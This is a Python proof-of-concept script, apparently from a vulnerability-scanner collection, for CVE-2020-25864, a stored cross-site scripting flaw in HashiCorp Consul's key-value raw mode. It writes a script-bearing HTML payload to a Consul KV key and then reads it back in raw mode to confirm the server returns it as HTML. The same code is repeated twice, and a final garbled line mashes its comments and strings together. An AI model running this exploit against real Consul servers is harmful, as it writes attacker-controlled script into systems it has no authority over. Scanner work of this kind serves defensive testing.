<reponame>hjyuan/reapoc
import requests


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''HashiCorp Consul and Consul Enterprise up to version 1.9.4 key-value (KV) raw mode is vulnerable to cross-site scripting''',
        "description": '''''',
        "severity": "medium",
        "references": [
            "https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368", 
            "https://nvd.nist.gov/vuln/detail/CVE-2020-25864"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "cvss-score": "",
            "cve-id": "CVE-2020-25864",
            "cwe-id": "CWE-79"
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2020", "consul", "xss"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)

        path = """/v1/kv/{{randstr}}"""
        method = "PUT"
        data = """<!DOCTYPE html><script>alert(document.domain)</script>"""
        headers = {}
        resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        path = """/v1/kv/{{randstr}}%3Fraw"""
        method = "GET"
        data = """"""
        headers = {}
        resp1 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if (resp1.status_code == 200) and ("""text/html""" in str(resp1.headers)):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url
import requests


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''HashiCorp Consul and Consul Enterprise up to version 1.9.4 key-value (KV) raw mode is vulnerable to cross-site scripting''',
        "description": '''''',
        "severity": "medium",
        "references": [
            "https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368", 
            "https://nvd.nist.gov/vuln/detail/CVE-2020-25864"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "cvss-score": "",
            "cve-id": "CVE-2020-25864",
            "cwe-id": "CWE-79"
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2020", "consul", "xss"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)

        path = """/v1/kv/{{randstr}}"""
        method = "PUT"
        data = """<!DOCTYPE html><script>alert(document.domain)</script>"""
        headers = {}
        resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        path = """/v1/kv/{{randstr}}%3Fraw"""
        method = "GET"
        data = """"""
        headers = {}
        resp1 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if (resp1.status_code == 200) and ("""text/html""" in str(resp1.headers)):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url
# Vuln Base Info HashiCorp Consul and Consul Enterprise up to version 1.9.4 key-value (KV) raw mode is vulnerable to cross-site scripting # Vender Fingerprint # Proof of Concept /v1/kv/{{randstr}} <!DOCTYPE html><script>alert(document.domain)</script> /v1/kv/{{randstr}}%3Fraw text/html # Exploit, can be same with poc() # Utils